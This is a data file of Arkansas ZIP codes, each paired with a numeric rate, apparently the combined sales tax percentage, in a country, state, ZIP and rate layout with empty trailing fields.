US-AR-71657,US,AR,71657,10,,,, US-AR-71658,US,AR,71658,8,,,, US-AR-71659,US,AR,71659,8.125,,,, US-AR-71660,US,AR,71660,7.75,,,, US-AR-71661,US,AR,71661,8,,,, US-AR-71662,US,AR,71662,8,,,, US-AR-71663,US,AR,71663,8,,,, US-AR-71665,US,AR,71665,7.75,,,, US-AR-71666,US,AR,71666,11,,,, US-AR-71667,US,AR,71667,7.5,,,, US-AR-71670,US,AR,71670,8,,,, US-AR-71671,US,AR,71671,9.5,,,, US-AR-71674,US,AR,71674,8,,,, US-AR-71675,US,AR,71675,9,,,, US-AR-71676,US,AR,71676,8,,,, US-AR-71677,US,AR,71677,9,,,, US-AR-71678,US,AR,71678,7.5,,,, US-AR-71701,US,AR,71701,10.25,,,, US-AR-71711,US,AR,71711,10.25,,,, US-AR-71720,US,AR,71720,8.5,,,, US-AR-71721,US,AR,71721,8,,,, US-AR-71722,US,AR,71722,7.5,,,, US-AR-71724,US,AR,71724,8.5,,,, US-AR-71725,US,AR,71725,8.5,,,, US-AR-71726,US,AR,71726,8.5,,,, US-AR-71728,US,AR,71728,8,,,, US-AR-71730,US,AR,71730,9.75,,,, US-AR-71731,US,AR,71731,9.75,,,, US-AR-71740,US,AR,71740,8,,,, US-AR-71742,US,AR,71742,10,,,, US-AR-71743,US,AR,71743,9.5,,,, US-AR-71744,US,AR,71744,8,,,, US-AR-71745,US,AR,71745,8,,,, US-AR-71747,US,AR,71747,8.5,,,, US-AR-71748,US,AR,71748,8.5,,,, US-AR-71749,US,AR,71749,8.5,,,, US-AR-71750,US,AR,71750,8.5,,,, US-AR-71751,US,AR,71751,8.5,,,, US-AR-71752,US,AR,71752,8,,,, US-AR-71753,US,AR,71753,10.375,,,, US-AR-71754,US,AR,71754,10.375,,,, US-AR-71758,US,AR,71758,8.5,,,, US-AR-71759,US,AR,71759,8.5,,,, US-AR-71762,US,AR,71762,8.5,,,, US-AR-71763,US,AR,71763,8.5,,,, US-AR-71764,US,AR,71764,8.5,,,, US-AR-71765,US,AR,71765,8.5,,,, US-AR-71766,US,AR,71766,9,,,, US-AR-71770,US,AR,71770,8,,,, US-AR-71772,US,AR,71772,8,,,, US-AR-71801,US,AR,71801,9.5,,,, US-AR-71802,US,AR,71802,9.5,,,, US-AR-71820,US,AR,71820,8.75,,,, US-AR-71822,US,AR,71822,10.75,,,, US-AR-71823,US,AR,71823,8.875,,,, US-AR-71825,US,AR,71825,8.5,,,, US-AR-71826,US,AR,71826,8.75,,,, US-AR-71827,US,AR,71827,8.75,,,, US-AR-71828,US,AR,71828,7.5,,,, US-AR-71831,US,AR,71831,8.5,,,, US-AR-71832,US,AR,71832,9.875,,,, US-AR-71833,US,AR,71833,9.25,,,, US-AR-71834,US,AR,71834,7.75,,,, US-AR-71835,US,AR,71835,7.5,,,, US-AR-71836,US,AR,71836,8.75,,,, US-AR-71837,US,AR,71837,7.75,,,, US-AR-71838,US,AR,71838,8.5,,,, US-AR-71839,US,AR,71839,8.75,,,, US-AR-71840,US,AR,71840,7.75,,,, US-AR-71841,US,AR,71841,8.875,,,, US-AR-71842,US,AR,71842,8.875,,,, US-AR-71845,US,AR,71845,8.75,,,, US-AR-71846,US,AR,71846,8.875,,,, US-AR-71847,US,AR,71847,8.5,,,, US-AR-71851,US,AR,71851,9.25,,,, US-AR-71852,US,AR,71852,10.25,,,, US-AR-71853,US,AR,71853,8.75,,,, US-AR-71854,US,AR,71854,10.25,,,, US-AR-71855,US,AR,71855,8.5,,,, US-AR-71857,US,AR,71857,8.5,,,, US-AR-71858,US,AR,71858,7.5,,,, US-AR-71859,US,AR,71859,8.5,,,, US-AR-71860,US,AR,71860,9.75,,,, US-AR-71861,US,AR,71861,8,,,, US-AR-71862,US,AR,71862,8.5,,,, US-AR-71864,US,AR,71864,7.5,,,, US-AR-71865,US,AR,71865,9.75,,,, US-AR-71866,US,AR,71866,8.75,,,, US-AR-71901,US,AR,71901,9.5,,,, US-AR-71902,US,AR,71902,9.5,,,, US-AR-71903,US,AR,71903,9.5,,,, US-AR-71909,US,AR,71909,8,,,, US-AR-71910,US,AR,71910,8,,,, US-AR-71913,US,AR,71913,8,,,, US-AR-71914,US,AR,71914,9.5,,,, US-AR-71920,US,AR,71920,9.5,,,, US-AR-71921,US,AR,71921,8,,,, US-AR-71922,US,AR,71922,8.5,,,, US-AR-71923,US,AR,71923,9,,,, US-AR-71929,US,AR,71929,8,,,, US-AR-71932,US,AR,71932,8.5,,,, US-AR-71933,US,AR,71933,8,,,, US-AR-71935,US,AR,71935,7.5,,,, US-AR-71937,US,AR,71937,8.5,,,, US-AR-71940,US,AR,71940,8.5,,,, US-AR-71941,US,AR,71941,8,,,, US-AR-71942,US,AR,71942,8,,,, US-AR-71943,US,AR,71943,10,,,, US-AR-71944,US,AR,71944,8.5,,,, US-AR-71945,US,AR,71945,8.5,,,, US-AR-71949,US,AR,71949,8,,,, US-AR-71950,US,AR,71950,8.5,,,, US-AR-71952,US,AR,71952,8.5,,,, US-AR-71953,US,AR,71953,9.5,,,, US-AR-71956,US,AR,71956,8,,,, US-AR-71957,US,AR,71957,7.5,,,, US-AR-71958,US,AR,71958,10,,,, US-AR-71959,US,AR,71959,8.5,,,, US-AR-71960,US,AR,71960,7.5,,,, US-AR-71961,US,AR,71961,7.5,,,, US-AR-71962,US,AR,71962,8,,,, US-AR-71964,US,AR,71964,8,,,, US-AR-71965,US,AR,71965,7.5,,,, US-AR-71966,US,AR,71966,7.5,,,, US-AR-71968,US,AR,71968,8,,,, US-AR-71969,US,AR,71969,7.5,,,, US-AR-71970,US,AR,71970,7.5,,,, US-AR-71971,US,AR,71971,9.25,,,, US-AR-71972,US,AR,71972,8.5,,,, US-AR-71973,US,AR,71973,8.5,,,, US-AR-71998,US,AR,71998,9,,,, US-AR-71999,US,AR,71999,9,,,, US-AR-72001,US,AR,72001,9,,,, US-AR-72002,US,AR,72002,6.5,,,, US-AR-72003,US,AR,72003,7.5,,,, US-AR-72004,US,AR,72004,8.125,,,, US-AR-72005,US,AR,72005,8.75,,,, US-AR-72006,US,AR,72006,8.5,,,, US-AR-72007,US,AR,72007,7.5,,,, US-AR-72010,US,AR,72010,9.5,,,, US-AR-72011,US,AR,72011,6.5,,,, US-AR-72012,US,AR,72012,9,,,, US-AR-72013,US,AR,72013,8.5,,,, US-AR-72014,US,AR,72014,9.25,,,, US-AR-72015,US,AR,72015,8,,,, US-AR-72016,US,AR,72016,9,,,, US-AR-72017,US,AR,72017,7.5,,,, US-AR-72018,US,AR,72018,8,,,, US-AR-72019,US,AR,72019,6.5,,,, US-AR-72020,US,AR,72020,8.75,,,, US-AR-72021,US,AR,72021,8.5,,,, US-AR-72022,US,AR,72022,9.5,,,, US-AR-72023,US,AR,72023,9.5,,,, US-AR-72024,US,AR,72024,7.5,,,, US-AR-72025,US,AR,72025,9,,,, US-AR-72026,US,AR,72026,7.5,,,, US-AR-72027,US,AR,72027,8.25,,,, US-AR-72028,US,AR,72028,8.5,,,, US-AR-72029,US,AR,72029,9.5,,,, US-AR-72030,US,AR,72030,8.25,,,, US-AR-72031,US,AR,72031,8.5,,,, US-AR-72032,US,AR,72032,8.75,,,, US-AR-72033,US,AR,72033,8.75,,,, US-AR-72034,US,AR,72034,8.75,,,, US-AR-72035,US,AR,72035,8.75,,,, US-AR-72036,US,AR,72036,8.5,,,, US-AR-72037,US,AR,72037,8.5,,,, US-AR-72038,US,AR,72038,7.5,,,, US-AR-72039,US,AR,72039,8.5,,,, US-AR-72040,US,AR,72040,8.5,,,, US-AR-72041,US,AR,72041,7.5,,,, US-AR-72042,US,AR,72042,11,,,, US-AR-72043,US,AR,72043,9.75,,,, US-AR-72044,US,AR,72044,8.125,,,, US-AR-72045,US,AR,72045,8,,,, US-AR-72046,US,AR,72046,10.5,,,, US-AR-72047,US,AR,72047,7,,,, US-AR-72048,US,AR,72048,7.5,,,, US-AR-72051,US,AR,72051,7.5,,,, US-AR-72052,US,AR,72052,8,,,, US-AR-72053,US,AR,72053,7.5,,,, US-AR-72055,US,AR,72055,7.5,,,, US-AR-72057,US,AR,72057,7.75,,,, US-AR-72058,US,AR,72058,7,,,, US-AR-72059,US,AR,72059,7.5,,,, US-AR-72060,US,AR,72060,8,,,, US-AR-72061,US,AR,72061,9,,,, US-AR-72063,US,AR,72063,8.25,,,, US-AR-72064,US,AR,72064,7.5,,,, US-AR-72065,US,AR,72065,6.5,,,, US-AR-72066,US,AR,72066,7.5,,,, US-AR-72067,US,AR,72067,8.125,,,, US-AR-72068,US,AR,72068,8,,,, US-AR-72069,US,AR,72069,6.5,,,, US-AR-72070,US,AR,72070,9,,,, US-AR-72072,US,AR,72072,7.5,,,, US-AR-72073,US,AR,72073,7.5,,,, US-AR-72074,US,AR,72074,7.5,,,, US-AR-72075,US,AR,72075,8.75,,,, US-AR-72076,US,AR,72076,9.5,,,, US-AR-72078,US,AR,72078,9.5,,,, US-AR-72079,US,AR,72079,8.125,,,, US-AR-72080,US,AR,72080,8.5,,,, US-AR-72081,US,AR,72081,8,,,, US-AR-72082,US,AR,72082,8,,,, US-AR-72083,US,AR,72083,8.5,,,, US-AR-72084,US,AR,72084,7.75,,,, US-AR-72085,US,AR,72085,8,,,, US-AR-72086,US,AR,72086,7.5,,,, US-AR-72087,US,AR,72087,6.5,,,, US-AR-72088,US,AR,72088,10,,,, US-AR-72089,US,AR,72089,9.5,,,, US-AR-72099,US,AR,72099,9.5,,,, US-AR-72101,US,AR,72101,7.5,,,, US-AR-72102,US,AR,72102,8,,,, US-AR-72103,US,AR,72103,6.5,,,, US-AR-72104,US,AR,72104,8,,,, US-AR-72105,US,AR,72105,8,,,, US-AR-72106,US,AR,72106,9,,,, US-AR-72107,US,AR,72107,11.25,,,, US-AR-72108,US,AR,72108,6.5,,,, US-AR-72110,US,AR,72110,9.25,,,, US-AR-72111,US,AR,72111,7,,,, US-AR-72112,US,AR,72112,10.25,,,, US-AR-72113,US,AR,72113,8.5,,,, US-AR-72114,US,AR,72114,8.5,,,, US-AR-72115,US,AR,72115,8.5,,,, US-AR-72116,US,AR,72116,8.5,,,, US-AR-72117,US,AR,72117,8.5,,,, US-AR-72118,US,AR,72118,8.5,,,, US-AR-72119,US,AR,72119,8.5,,,, US-AR-72120,US,AR,72120,8.5,,,, US-AR-72121,US,AR,72121,8,,,, US-AR-72122,US,AR,72122,6.5,,,, US-AR-72123,US,AR,72123,8.5,,,, US-AR-72124,US,AR,72124,8.5,,,, US-AR-72125,US,AR,72125,9,,,, US-AR-72126,US,AR,72126,9,,,, US-AR-72127,US,AR,72127,10.25,,,, US-AR-72128,US,AR,72128,7.75,,,, US-AR-72129,US,AR,72129,7.75,,,, US-AR-72130,US,AR,72130,8.125,,,, US-AR-72131,US,AR,72131,8.125,,,, US-AR-72132,US,AR,72132,8.125,,,, US-AR-72133,US,AR,72133,8.125,,,, US-AR-72134,US,AR,72134,6.5,,,, US-AR-72135,US,AR,72135,7.5,,,, US-AR-72136,US,AR,72136,8,,,, US-AR-72137,US,AR,72137,8,,,, US-AR-72139,US,AR,72139,8,,,, US-AR-72140,US,AR,72140,9.5,,,, US-AR-72141,US,AR,72141,8.5,,,, US-AR-72142,US,AR,72142,7.5,,,, US-AR-72143,US,AR,72143,8.5,,,, US-AR-72145,US,AR,72145,8.5,,,, US-AR-72149,US,AR,72149,8.5,,,, US-AR-72150,US,AR,72150,7.75,,,, US-AR-72152,US,AR,72152,8.125,,,, US-AR-72153,US,AR,72153,8.5,,,, US-AR-72156,US,AR,72156,8.25,,,, US-AR-72157,US,AR,72157,8.25,,,, US-AR-72158,US,AR,72158,8,,,, US-AR-72160,US,AR,72160,9.5,,,, US-AR-72164,US,AR,72164,7.5,,,, US-AR-72165,US,AR,72165,8.5,,,, US-AR-72166,US,AR,72166,7.5,,,, US-AR-72167,US,AR,72167,6.5,,,, US-AR-72168,US,AR,72168,8.125,,,, US-AR-72169,US,AR,72169,8.75,,,, US-AR-72170,US,AR,72170,7.5,,,, US-AR-72173,US,AR,72173,7,,,, US-AR-72175,US,AR,72175,8.125,,,, US-AR-72176,US,AR,72176,7.5,,,, US-AR-72178,US,AR,72178,8,,,, US-AR-72179,US,AR,72179,8.125,,,, US-AR-72180,US,AR,72180,7.5,,,, US-AR-72181,US,AR,72181,7,,,, US-AR-72182,US,AR,72182,8.125,,,, US-AR-72183,US,AR,72183,7.5,,,, US-AR-72190,US,AR,72190,8.5,,,, US-AR-72199,US,AR,72199,7.5,,,, US-AR-72201,US,AR,72201,9,,,, US-AR-72202,US,AR,72202,9,,,, US-AR-72203,US,AR,72203,9,,,, US-AR-72204,US,AR,72204,9,,,, US-AR-72205,US,AR,72205,9,,,, US-AR-72206,US,AR,72206,7.5,,,, US-AR-72207,US,AR,72207,9,,,, US-AR-72209,US,AR,72209,9,,,, US-AR-72210,US,AR,72210,7.5,,,, US-AR-72211,US,AR,72211,9,,,, US-AR-72212,US,AR,72212,9,,,, US-AR-72214,US,AR,72214,9,,,, US-AR-72215,US,AR,72215,9,,,, US-AR-72216,US,AR,72216,9,,,, US-AR-72217,US,AR,72217,9,,,, US-AR-72219,US,AR,72219,9,,,, US-AR-72221,US,AR,72221,9,,,, US-AR-72222,US,AR,72222,9,,,, US-AR-72223,US,AR,72223,9,,,, US-AR-72225,US,AR,72225,9,,,, US-AR-72227,US,AR,72227,9,,,, US-AR-72231,US,AR,72231,8.5,,,, US-AR-72255,US,AR,72255,9,,,, US-AR-72260,US,AR,72260,9,,,, US-AR-72295,US,AR,72295,9,,,, US-AR-72301,US,AR,72301,9.75,,,, US-AR-72303,US,AR,72303,9.75,,,, US-AR-72310,US,AR,72310,8.5,,,, US-AR-72311,US,AR,72311,7.5,,,, US-AR-72312,US,AR,72312,8.5,,,, US-AR-72313,US,AR,72313,8.5,,,, US-AR-72315,US,AR,72315,9.75,,,, US-AR-72316,US,AR,72316,9.75,,,, US-AR-72319,US,AR,72319,9.75,,,, US-AR-72320,US,AR,72320,7.5,,,, US-AR-72321,US,AR,72321,8.5,,,, US-AR-72322,US,AR,72322,8.5,,,, US-AR-72324,US,AR,72324,8.5,,,, US-AR-72325,US,AR,72325,8.25,,,, US-AR-72326,US,AR,72326,8.5,,,, US-AR-72327,US,AR,72327,8.25,,,, US-AR-72328,US,AR,72328,8.5,,,, US-AR-72329,US,AR,72329,8.5,,,, US-AR-72330,US,AR,72330,8.5,,,, US-AR-72331,US,AR,72331,10.25,,,, US-AR-72332,US,AR,72332,8.25,,,, US-AR-72333,US,AR,72333,8.5,,,, US-AR-72335,US,AR,72335,9.5,,,, US-AR-72336,US,AR,72336,9.5,,,, US-AR-72338,US,AR,72338,8.5,,,, US-AR-72339,US,AR,72339,9.25,,,, US-AR-72340,US,AR,72340,8.5,,,, US-AR-72341,US,AR,72341,7.5,,,, US-AR-72342,US,AR,72342,10.5,,,, US-AR-72346,US,AR,72346,8.5,,,, US-AR-72347,US,AR,72347,8.5,,,, US-AR-72348,US,AR,72348,8.25,,,, US-AR-72350,US,AR,72350,8.5,,,, US-AR-72352,US,AR,72352,7.5,,,, US-AR-72353,US,AR,72353,8.5,,,, US-AR-72354,US,AR,72354,9.5,,,, US-AR-72355,US,AR,72355,8.5,,,, US-AR-72358,US,AR,72358,9.5,,,, US-AR-72359,US,AR,72359,9.5,,,, US-AR-72360,US,AR,72360,9.5,,,, US-AR-72364,US,AR,72364,10.25,,,, US-AR-72365,US,AR,72365,9.75,,,, US-AR-72366,US,AR,72366,8.5,,,, US-AR-72367,US,AR,72367,8.5,,,, US-AR-72368,US,AR,72368,7.5,,,, US-AR-72369,US,AR,72369,8.5,,,, US-AR-72370,US,AR,72370,9.5,,,, US-AR-72372,US,AR,72372,8.5,,,, US-AR-72373,US,AR,72373,8.5,,,, US-AR-72374,US,AR,72374,8.5,,,, US-AR-72376,US,AR,72376,8.25,,,, US-AR-72377,US,AR,72377,7.75,,,, US-AR-72379,US,AR,72379,8,,,, US-AR-72383,US,AR,72383,8.5,,,, US-AR-72384,US,AR,72384,8.25,,,, US-AR-72386,US,AR,72386,7.75,,,, US-AR-72387,US,AR,72387,8.5,,,, US-AR-72389,US,AR,72389,8.5,,,, US-AR-72390,US,AR,72390,10.5,,,, US-AR-72391,US,AR,72391,8.5,,,, US-AR-72392,US,AR,72392,8.5,,,, US-AR-72394,US,AR,72394,8.5,,,, US-AR-72395,US,AR,72395,8.5,,,, US-AR-72396,US,AR,72396,9.5,,,, US-AR-72401,US,AR,72401,9,,,, US-AR-72402,US,AR,72402,9,,,, US-AR-72403,US,AR,72403,9,,,, US-AR-72404,US,AR,72404,9,,,, US-AR-72410,US,AR,72410,8,,,, US-AR-72411,US,AR,72411,8.5,,,, US-AR-72412,US,AR,72412,8.25,,,, US-AR-72413,US,AR,72413,7.75,,,, US-AR-72414,US,AR,72414,7.5,,,, US-AR-72415,US,AR,72415,9,,,, US-AR-72416,US,AR,72416,7.5,,,, US-AR-72417,US,AR,72417,7.5,,,, US-AR-72419,US,AR,72419,7.5,,,, US-AR-72421,US,AR,72421,7.5,,,, US-AR-72422,US,AR,72422,8.75,,,, US-AR-72424,US,AR,72424,7,,,, US-AR-72425,US,AR,72425,8.25,,,, US-AR-72426,US,AR,72426,8.5,,,, US-AR-72427,US,AR,72427,7.5,,,, US-AR-72428,US,AR,72428,9.5,,,, US-AR-72429,US,AR,72429,7.75,,,, US-AR-72430,US,AR,72430,7,,,, US-AR-72431,US,AR,72431,8.75,,,, US-AR-72432,US,AR,72432,7.75,,,, US-AR-72433,US,AR,72433,9,,,, US-AR-72434,US,AR,72434,7.75,,,, US-AR-72435,US,AR,72435,7,,,, US-AR-72436,US,AR,72436,8.25,,,, US-AR-72437,US,AR,72437,7.5,,,, US-AR-72438,US,AR,72438,8.5,,,, US-AR-72440,US,AR,72440,8,,,, US-AR-72441,US,AR,72441,7,,,, US-AR-72442,US,AR,72442,8.5,,,, US-AR-72443,US,AR,72443,8.25,,,, US-AR-72444,US,AR,72444,7.75,,,, US-AR-72445,US,AR,72445,8,,,, US-AR-72447,US,AR,72447,8.5,,,, US-AR-72449,US,AR,72449,7.75,,,, US-AR-72450,US,AR,72450,9,,,, US-AR-72451,US,AR,72451,9,,,, US-AR-72453,US,AR,72453,7,,,, US-AR-72454,US,AR,72454,9,,,, US-AR-72455,US,AR,72455,7.75,,,, US-AR-72456,US,AR,72456,7,,,, US-AR-72457,US,AR,72457,9,,,, US-AR-72458,US,AR,72458,8,,,, US-AR-72459,US,AR,72459,7.75,,,, US-AR-72460,US,AR,72460,7.75,,,, US-AR-72461,US,AR,72461,9,,,, US-AR-72462,US,AR,72462,7.75,,,, US-AR-72464,US,AR,72464,7,,,, US-AR-72465,US,AR,72465,8,,,, US-AR-72466,US,AR,72466,8,,,, US-AR-72467,US,AR,72467,9,,,, US-AR-72469,US,AR,72469,8,,,, US-AR-72470,US,AR,72470,7,,,, US-AR-72471,US,AR,72471,9.75,,,, US-AR-72472,US,AR,72472,8.75,,,, US-AR-72473,US,AR,72473,10,,,, US-AR-72474,US,AR,72474,8.25,,,, US-AR-72475,US,AR,72475,9.75,,,, US-AR-72476,US,AR,72476,9,,,, US-AR-72478,US,AR,72478,7.75,,,, US-AR-72479,US,AR,72479,7.75,,,, US-AR-72482,US,AR,72482,7.5,,,, US-AR-72501,US,AR,72501,8.5,,,, US-AR-72503,US,AR,72503,10.5,,,, US-AR-72512,US,AR,72512,9,,,, US-AR-72513,US,AR,72513,8.5,,,, US-AR-72515,US,AR,72515,8.5,,,, US-AR-72517,US,AR,72517,7,,,, US-AR-72519,US,AR,72519,7.5,,,, US-AR-72520,US,AR,72520,8.5,,,, US-AR-72521,US,AR,72521,7.5,,,, US-AR-72522,US,AR,72522,8.5,,,, US-AR-72523,US,AR,72523,8.125,,,, US-AR-72524,US,AR,72524,8.5,,,, US-AR-72525,US,AR,72525,8.5,,,, US-AR-72526,US,AR,72526,8.5,,,, US-AR-72527,US,AR,72527,8.5,,,, US-AR-72528,US,AR,72528,7,,,, US-AR-72529,US,AR,72529,8.5,,,, US-AR-72530,US,AR,72530,8.125,,,, US-AR-72531,US,AR,72531,7.5,,,, US-AR-72532,US,AR,72532,7.5,,,, US-AR-72533,US,AR,72533,7.5,,,, US-AR-72534,US,AR,72534,8.5,,,, US-AR-72536,US,AR,72536,8,,,, US-AR-72537,US,AR,72537,7.5,,,, US-AR-72538,US,AR,72538,8.5,,,, US-AR-72539,US,AR,72539,8.5,,,, US-AR-72540,US,AR,72540,7,,,, US-AR-72542,US,AR,72542,8.5,,,, US-AR-72543,US,AR,72543,8.125,,,, US-AR-72544,US,AR,72544,7.5,,,, US-AR-72545,US,AR,72545,9.125,,,, US-AR-72546,US,AR,72546,8.125,,,, US-AR-72550,US,AR,72550,8.5,,,, US-AR-72553,US,AR,72553,8.5,,,, US-AR-72554,US,AR,72554,8.5,,,, US-AR-72555,US,AR,72555,7.5,,,, US-AR-72556,US,AR,72556,9,,,, US-AR-72560,US,AR,72560,7.5,,,, US-AR-72561,US,AR,72561,7,,,, US-AR-72562,US,AR,72562,8.5,,,, US-AR-72564,US,AR,72564,8.5,,,, US-AR-72565,US,AR,72565,8,,,, US-AR-72566,US,AR,72566,7,,,, US-AR-72567,US,AR,72567,7.5,,,, US-AR-72568,US,AR,72568,8.5,,,, US-AR-72569,US,AR,72569,7.5,,,, US-AR-72571,US,AR,72571,8.5,,,, US-AR-72572,US,AR,72572,8,,,, US-AR-72573,US,AR,72573,7,,,, US-AR-72575,US,AR,72575,8.5,,,, US-AR-72576,US,AR,72576,8.5,,,, US-AR-72577,US,AR,72577,7,,,, US-AR-72578,US,AR,72578,8.5,,,, US-AR-72579,US,AR,72579,8.5,,,, US-AR-72581,US,AR,72581,8.125,,,, US-AR-72583,US,AR,72583,8.5,,,, US-AR-72584,US,AR,72584,7,,,, US-AR-72585,US,AR,72585,7,,,, US-AR-72587,US,AR,72587,7,,,, US-AR-72601,US,AR,72601,7.75,,,, US-AR-72602,US,AR,72602,8.5,,,, US-AR-72611,US,AR,72611,7,,,, US-AR-72613,US,AR,72613,7,,,, US-AR-72615,US,AR,72615,7.75,,,, US-AR-72616,US,AR,72616,7,,,, US-AR-72617,US,AR,72617,7.5,,,, US-AR-72619,US,AR,72619,8.5,,,, US-AR-72623,US,AR,72623,7.5,,,, US-AR-72624,US,AR,72624,8,,,, US-AR-72626,US,AR,72626,9.5,,,, US-AR-72628,US,AR,72628,8,,,, US-AR-72629,US,AR,72629,8.5,,,, US-AR-72630,US,AR,72630,7.75,,,, US-AR-72631,US,AR,72631,7,,,, US-AR-72632,US,AR,72632,7,,,, US-AR-72633,US,AR,72633,7.75,,,, US-AR-72634,US,AR,72634,7.5,,,, US-AR-72635,US,AR,72635,7.5,,,, US-AR-72636,US,AR,72636,8.5,,,, US-AR-72638,US,AR,72638,7,,,, US-AR-72639,US,AR,72639,7.5,,,, US-AR-72640,US,AR,72640,8,,,, US-AR-72641,US,AR,72641,10,,,, US-AR-72642,US,AR,72642,7.5,,,, US-AR-72644,US,AR,72644,7.75,,,, US-AR-72645,US,AR,72645,7.5,,,, US-AR-72648,US,AR,72648,8,,,, US-AR-72650,US,AR,72650,7.5,,,, US-AR-72651,US,AR,72651,7.5,,,, US-AR-72653,US,AR,72653,7.5,,,, US-AR-72654,US,AR,72654,8.5,,,, US-AR-72655,US,AR,72655,8,,,, US-AR-72657,US,AR,72657,7.5,,,, US-AR-72658,US,AR,72658,7.5,,,, US-AR-72659,US,AR,72659,8.5,,,, US-AR-72660,US,AR,72660,7,,,, US-AR-72661,US,AR,72661,7.5,,,, US-AR-72662,US,AR,72662,7.75,,,, US-AR-72663,US,AR,72663,7.5,,,, US-AR-72666,US,AR,72666,8,,,, US-AR-72668,US,AR,72668,7.5,,,, US-AR-72669,US,AR,72669,7.5,,,, US-AR-72670,US,AR,72670,8,,,, US-AR-72672,US,AR,72672,8,,,, US-AR-72675,US,AR,72675,7.5,,,, US-AR-72677,US,AR,72677,8.5,,,, US-AR-72679,US,AR,72679,7.5,,,, US-AR-72680,US,AR,72680,7.5,,,, US-AR-72682,US,AR,72682,7.5,,,, US-AR-72683,US,AR,72683,8,,,, US-AR-72685,US,AR,72685,7.75,,,, US-AR-72686,US,AR,72686,7.5,,,, US-AR-72687,US,AR,72687,7.5,,,, US-AR-72701,US,AR,72701,9.75,,,, US-AR-72702,US,AR,72702,9.75,,,, US-AR-72703,US,AR,72703,9.75,,,, US-AR-72704,US,AR,72704,9.75,,,, US-AR-72711,US,AR,72711,8.5,,,, US-AR-72712,US,AR,72712,9.5,,,, US-AR-72714,US,AR,72714,8.5,,,, US-AR-72715,US,AR,72715,8.5,,,, US-AR-72716,US,AR,72716,9.5,,,, US-AR-72717,US,AR,72717,7.75,,,, US-AR-72718,US,AR,72718,8.5,,,, US-AR-72719,US,AR,72719,9.5,,,, US-AR-72721,US,AR,72721,8.5,,,, US-AR-72722,US,AR,72722,7.5,,,, US-AR-72727,US,AR,72727,8.5,,,, US-AR-72728,US,AR,72728,8.75,,,, US-AR-72729,US,AR,72729,7.75,,,, US-AR-72730,US,AR,72730,10.75,,,, US-AR-72732,US,AR,72732,7.5,,,, US-AR-72733,US,AR,72733,7.5,,,, US-AR-72734,US,AR,72734,7.5,,,, US-AR-72735,US,AR,72735,7.75,,,, US-AR-72736,US,AR,72736,7.5,,,, US-AR-72737,US,AR,72737,9.75,,,, US-AR-72738,US,AR,72738,8.5,,,, US-AR-72739,US,AR,72739,9.5,,,, US-AR-72740,US,AR,72740,8.5,,,, US-AR-72741,US,AR,72741,9.75,,,, US-AR-72742,US,AR,72742,8.5,,,, US-AR-72744,US,AR,72744,7.75,,,, US-AR-72745,US,AR,72745,9.5,,,, US-AR-72747,US,AR,72747,7.5,,,, US-AR-72749,US,AR,72749,7.75,,,, US-AR-72751,US,AR,72751,8.5,,,, US-AR-72752,US,AR,72752,8.5,,,, US-AR-72753,US,AR,72753,7.75,,,, US-AR-72756,US,AR,72756,9.5,,,, US-AR-72757,US,AR,72757,9.5,,,, US-AR-72758,US,AR,72758,9.5,,,, US-AR-72760,US,AR,72760,8.5,,,, US-AR-72761,US,AR,72761,9.5,,,, US-AR-72762,US,AR,72762,9.75,,,, US-AR-72764,US,AR,72764,9.75,,,, US-AR-72765,US,AR,72765,9.75,,,, US-AR-72766,US,AR,72766,9.75,,,, US-AR-72768,US,AR,72768,7.5,,,, US-AR-72769,US,AR,72769,7.75,,,, US-AR-72770,US,AR,72770,9.75,,,, US-AR-72773,US,AR,72773,8.5,,,, US-AR-72774,US,AR,72774,7.75,,,, US-AR-72776,US,AR,72776,8.5,,,, US-AR-72801,US,AR,72801,9,,,, US-AR-72802,US,AR,72802,7.5,,,, US-AR-72811,US,AR,72811,9,,,, US-AR-72812,US,AR,72812,9,,,, US-AR-72820,US,AR,72820,8,,,, US-AR-72821,US,AR,72821,8,,,, US-AR-72823,US,AR,72823,7.5,,,, US-AR-72824,US,AR,72824,7.5,,,, US-AR-72826,US,AR,72826,7.5,,,, US-AR-72827,US,AR,72827,7.5,,,, US-AR-72828,US,AR,72828,7.5,,,, US-AR-72829,US,AR,72829,7.5,,,, US-AR-72830,US,AR,72830,7.5,,,, US-AR-72832,US,AR,72832,8.5,,,, US-AR-72833,US,AR,72833,7.5,,,, US-AR-72834,US,AR,72834,7.5,,,, US-AR-72835,US,AR,72835,7.5,,,, US-AR-72837,US,AR,72837,7.5,,,, US-AR-72838,US,AR,72838,7.5,,,, US-AR-72839,US,AR,72839,7.5,,,, US-AR-72840,US,AR,72840,7.5,,,, US-AR-72841,US,AR,72841,9.125,,,, US-AR-72842,US,AR,72842,7.5,,,, US-AR-72843,US,AR,72843,7.5,,,, US-AR-72845,US,AR,72845,7.5,,,, US-AR-72846,US,AR,72846,7.5,,,, US-AR-72847,US,AR,72847,7.5,,,, US-AR-72851,US,AR,72851,7.5,,,, US-AR-72852,US,AR,72852,7.5,,,, US-AR-72853,US,AR,72853,7.5,,,, US-AR-72854,US,AR,72854,7.5,,,, US-AR-72855,US,AR,72855,8,,,, US-AR-72856,US,AR,72856,7.5,,,, US-AR-72857,US,AR,72857,7.5,,,, US-AR-72858,US,AR,72858,9,,,, US-AR-72860,US,AR,72860,7.5,,,, US-AR-72863,US,AR,72863,7.5,,,, US-AR-72865,US,AR,72865,7.5,,,, US-AR-72901,US,AR,72901,9.75,,,, US-AR-72902,US,AR,72902,9.75,,,, US-AR-72903,US,AR,72903,9.75,,,, US-AR-72904,US,AR,72904,9.75,,,, US-AR-72905,US,AR,72905,9.75,,,, US-AR-72906,US,AR,72906,9.75,,,, US-AR-72908,US,AR,72908,9.75,,,, US-AR-72913,US,AR,72913,9.75,,,, US-AR-72914,US,AR,72914,9.75,,,, US-AR-72916,US,AR,72916,7.75,,,, US-AR-72917,US,AR,72917,9.75,,,, US-AR-72918,US,AR,72918,9.75,,,, US-AR-72919,US,AR,72919,7.75,,,, US-AR-72921,US,AR,72921,7.5,,,, US-AR-72923,US,AR,72923,8.75,,,, US-AR-72926,US,AR,72926,9.125,,,, US-AR-72927,US,AR,72927,7.5,,,, US-AR-72928,US,AR,72928,9,,,, US-AR-72930,US,AR,72930,8,,,, US-AR-72932,US,AR,72932,7.5,,,, US-AR-72933,US,AR,72933,9.5,,,, US-AR-72934,US,AR,72934,7.5,,,, US-AR-72935,US,AR,72935,8.5,,,, US-AR-72936,US,AR,72936,7.75,,,, US-AR-72937,US,AR,72937,7.75,,,, US-AR-72938,US,AR,72938,8.75,,,, US-AR-72940,US,AR,72940,7.75,,,, US-AR-72941,US,AR,72941,7.75,,,, US-AR-72943,US,AR,72943,7.5,,,, 